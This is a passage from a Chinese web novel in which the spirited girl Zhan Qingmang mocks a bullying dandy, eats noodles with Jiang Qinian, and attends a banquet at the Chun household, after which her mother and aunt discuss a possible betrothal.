话出口,桌前几人嗤嗤的笑,眼里的不怀好意半分不遮掩。
江祈年眼眸微眯了下,盯着那说话之人别有深意的调笑。忽然,被人往后一扯,劲儿还不小。
他微垂首,就见一个箭步冲到他身前的展青芒,叉腰挺胸的模样像是要与之撕咬。
“周小舅不出声,我还当是谁家伺候夜壶的呢,嘴巴这样臭!”展青芒脆生生的喊,酥酪盏捂在脸上,像是隔绝那厢房中的臭气熏天,很是羞辱人啦!
男人最是好脸面了,尤其是周小舅这样的纨绔子,当着好友的面儿,被个毛都没长齐的小丫头这般羞辱,脸刷的胀红,气急败坏的‘啪’的一声拍案而起——
展青芒拉着小财神嗖的撒丫子就跑!
她又不是笨蛋,还等着他来打?
两人跑出酒楼,又拐了几道巷子,确认周小舅没让人追来,才气喘吁吁的停下。
展青芒双手撑膝呼哧呼哧的大口喘气。江祈年站在旁边,只有脸红些,一只手替她扇风,问:“他总欺负你?”
展青芒摇摇头,“没见过几回。周姨娘得势,他也跟着抖威风,我平日都不搭理的,有时气不过,就去欺负他侄子,先生说,这叫恃强凌弱。”
展青芒好懂呢!
江祈年:……
展青芒半分不觉惭愧,毕竟,孙六郎仗着自己是姨丈唯一的儿子,还有既是祖母又是姑祖母的孙老夫人撑腰,脾气坏得很,连孙云酿都欺负呢。
展青芒不是那等忍气吞声的性子,周小舅欺负小孩儿,她与姨丈告状过几回,可姨丈不敢惹老夫人,给了展青芒些好吃好玩儿的便算是揭过了。展青芒也懒怠与他告状,还是欺负那与周小舅一丘之貉的孙六郎好哇!
嘿嘿嘿!
展青芒呼吸匀了,扬起热得通红的脸,真诚的与江祈年说:“我明儿想去学堂呢。”
江祈年:……
他也不是很想懂的。
26. 第 26 章
街边的小铺人声鼎沸,良久,江祈年问:“你可知方才那人的话是何意?”
展青芒嗦着粉,嘴唇上浸润汤汁,闻言,义愤填膺道:“他骂你是下人!”
从前她家有帮厨的苗婶,伺候花木的仆从,可展青芒并不觉他们是下人,后来随姨母来到扬州,见过孙府奴仆成群,主子对身边伺候的人非打即骂,展青芒才知下人是何意——主子的打骂他们只能受着,冤与不怨无人在意。只要不是弄出人命的大事,衙门并不会管。更有甚至,就是将府里的下人打杀了,只要没报官,也没什么要紧的。
也不知是下人低贱,还是那些个主子生来就高人一等。左右周小舅说那话,就是在骂小财神卑微!
展青芒脑袋顶的头发又要站起来了,忿忿道:“我们去揍他一顿吧!”
江祈年无奈了,他问那话又不是要她生气的。想知道的没着落,倒是被嗦了一碗粉的姑娘拉着去揍人。
“他那样胖,我自己打不过他,”展青芒很有自知之明呢,捧着比脸大的碗咕咚咕咚喝半碗汤,一抹嘴,眉飞色舞道:“但我们现在两个人啦!还是有胜算的!”
刚说完,想起江二哥曾经与那戴斗笠的男人对打时的英姿,展青芒脑袋往他脸前一凑,贼兮兮的小声问:“你跟江二哥谁更厉害?”
江祈年握着筷著一顿,脸木了。他伸出一根手指戳着她脑门儿把那好奇脸挪开,埋头嗦粉。
江祁川比他大,自是比他厉害些的。江祈年咽下一口粉,悄悄的想,等他长到和江祁川一样大时,定会比他厉害许多的。
只是这些,就不必与展青芒讲了。
--
孙家的姐妹几个,对王姝带着展青芒去春府赴宴颇有微词。
展青芒雷打不动的提早小憩了一个多时辰,被玉红尴尬得叫醒时,她慢悠悠打个哈欠,顶着一脸睡觉压的红印儿,朝那嘀嘀咕咕说她小话的姐妹团道:“赴宴去喽~”
“……”
春府人丁简单,展青芒与孙云酿一同与诸位长辈见礼罢,便被春家的小姑娘喊去翻花绳了。
王姝与春家几位夫人坐在阁中说话,孙云酿陪在旁侧。
“云酿怎不同你妹妹们一起去玩儿?”春夫人笑容温和的问。
“许久不见伯母,我想陪您略坐。”
正翻花绳的展青芒,真切的听着这句,没忍住翻了个白眼。
春家小姑娘见状,正要翻花绳的手悄悄缩了回去,拧着眉思索,小声问她:“是下面的这根还是旁边这根呀?”
“你又忘啦!”展青芒说,“你来架着,教你最后一回哦。”
“阿芒姐姐真好!”七八岁的小姑娘欢天喜地的喊,又同她说悄悄话,“我表姐来家里啦,但我不喜欢她,阿芒姐姐若是我表姐就好啦!”
展青芒眨眨眼,好奇问:“为何呀?”
“她不跟我玩儿,成日追着哥哥,要哥哥教她读书呢。”春小姑娘鼓着脸颊不高兴的说。
展青芒伸出一根手指头,噗嗤就给她鼓起的腮帮戳扁了,“读书好累的。”
“可不是嘛!”
两个学渣惺惺相惜。
春府的宴并未大办,不过是交好的亲朋佳友一同热闹一番。
小片刻,两人身边围着好几个春府亲眷的小孩儿,叽叽喳喳的吵得人耳朵疼。
春小姑娘也不好只与展青芒玩儿,待旁人不理。她收起红绳,与众人道:“我们去喂鱼吧!我阿爹给我在池子里又养了几尾漂亮小鱼,我带你们去看呀~”
院中,春府大郎君站着,被母亲喊了声——
“去看着你妹妹们些,别挤着玩闹掉进池子里了。”
春淇应声,与众长辈见了个礼,转身随在一群跑跑跳跳的小丫头屁股后面走。
伴在春夫人身侧的女郎亦起身,轻声请辞道:“舅母与诸位夫人叙话,我与淇哥去照看她们吧。”
孙云酿目光朝那青竹色的背影收回,看向说话之人。
这位长了一副好容貌,轻轻柔柔的像是一朵栀子。孙云酿目光停留一瞬,忽而与她对上了视线,后者朝她微微颔首莞尔一笑。听得春夫人允准,提裙自她身侧而过,清淡的荷香如缕清风。
“云酿一道去吧,花儿似的姑娘没得陪我们枯坐的。淇哥他爹带回来的那几尾锦鲤委实漂亮,你和阿芒去挑一挑,若有喜欢的,伯母送给你们。”春夫人亲热道。
行至门前的少女一顿,回首看来。
孙云酿朝自己母亲看去。
王姝颔首,“去吧。”
园子花团锦簇,雕壁画栋,比起知府大人的府邸,多了些文人雅士的端秀。穿过月亮门,远远的便听见了小孩儿叽里呱啦的热闹说话声。
“不知孙妹妹近来在读什么书?”表姑娘唇角抿笑的先开口问。
孙云酿手执一柄绣芙蓉的团扇,轻轻挡在额前遮阳,闻声,头稍侧看向她,不咸不淡的道:“随先生传授罢了。”
“也是,早先便听闻,妹妹府上教授的先生,是当世大儒,旁人没有这样好的福气。譬如我,也只能在淇哥歇息时,让他指点一二。”
“你家这样穷吗?”一道稚气声天真的问。
二人循声,就见展青芒像兔子似的旁边绿丛里钻出来,漂漂亮亮的小发苞有些乱,抱着只不大乖驯的小狗。
“阿芒姐姐!找到小狗了吗?”春小姑娘从另一头钻出来问,话音未落,瞧见她怀里抱着的黑黢黢的一团时,顿时一喜,挤过自家表姐,三两步跑到了展青芒旁边,二人一起摸狗。
孙云酿瞥了眼春家表姑娘无语到哑言的神情,并未与她再续方才的话。抬脚走向池子边不远处的凉亭。
“是我不好,我不该与伯母要黄金鸡吃的。”展青芒叹气。
“咋啦?”春小姑娘歪着脑袋去看她,不解疑惑脸。
“我不知你家没钱啦,你哥哥还要考功名呢,还是将吃鸡的银钱省下来去请个夫子吧,”展青芒说着,朝独自去亭子纳凉的孙云酿看了眼,声音又低几分,说悄悄话:“不然你哥哥若是没中榜,孙云酿生气要怪我贪吃误了她的前程了……”
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>“啊?”春小姑娘嘴巴张圆,脑袋顶上的小揪揪都晃了晃,认真道:“哥哥有先生呀,我家有族学呢。”
展青芒也懵了,她抬眼看看朝池边走过去的少女,可怜变成了羡慕,睁着圆眼睛不服气——
“那你表姐怎能不读书!”
小孩子能有什么烦恼呀,不过是做不完的功课,被夫子吹胡子瞪眼的教训罢啦。
展青芒自觉脸皮厚,不怕夫子骂啦。
吃饱喝足,一上马车就躺在绣垫上搂着食盒呼呼大睡。小半个时辰,马车停在了午后安静的巷子里,王姝抱着她下了马车,孙云酿瞥了眼那食盒,不大高兴的拎起跟在后面。
穿过前堂,迈进二院,王姝一眼便瞧见了树荫底下劈柴的小郎。少年人骨骼没长开,看着单薄,不过十一二岁的模样。
“你是江家三郎?”王姝轻声问。
江祈年点了下头,看向她抱着的展青芒,“她怎么了?”
“吃撑睡着了。”孙云酿耷拉着脸,将食盒塞给他,“展青芒给你带的。”
孙云酿早忘了小时候只见过几面的江祈年,同样,江祈年也不大认得出她。只是这一句,倒是让江祈年想起了她是与展青芒扯头花的表姐妹。
王婵今儿没去铺子照顾生意,这会儿正在厨下做凉糕。将展青芒送回房里睡,她问漂亮的小外甥女,“可要一起歇个晌?”
孙云酿摇摇头,“午后教古琴的先生来,不好久候,我先回家了,改日再同母亲来拜会姨母。”
王姝也未拦着,坐在桂树下的石桌旁,尝了口王婵刚煮的茉莉花茶。
目送着孙云酿出门,王婵回头与阿姐说:“这才多久未见,云酿都长成大姑娘了。”
“阿芒不也是?”王姝笑着说,喊她坐下来说说话,“今儿去春家赴宴,春夫人娘家的嫂嫂也来了,还与我问起了阿芒的亲事。”
“啊?”王婵朝屋里吃了就睡的姑娘望了眼,有些惊讶,“这、这阿芒才多大啊,还不知事呢……”
“孩子再大当娘的都觉得小,”王姝给她倒一碗花茶,“春夫人那嫂嫂也是和善人,依我的意思,且先看看。那小郎若是个性情好、读书上进的,让两个孩子多熟熟脸也是好的,倘若合得来,等稍大些,且换了生辰贴,再立婚书。”
王婵有些犹豫,她舍不得闺女是其次,要紧的是——
“阿芒性子跳脱,虽没大毛病,但也不是个忍得委屈的性子,嫁高门大户是好,但她学规矩是那半吊子,没得进了人家门再给拘束着了。”
她抿了抿唇,又低声说:“阿芒跟云酿不一样,云酿知书达理,那是正儿八经的闺秀小姐。阿芒呢,自幼读书就是三天打鱼两天晒网……”王婵说着轻轻惭愧了下,“这也怪我,太由着她。再说学琴学筝学作画,她就没个灵的。云酿日后与夫君谈书论画,那琴瑟和鸣是佳话。到阿芒这儿,诗书不识,音律不通,那是笑话。”
王姝:……
隔着道墙,江祈年坐在门前吃鸡,心道:阿芒画的江水很好。
不是笑话。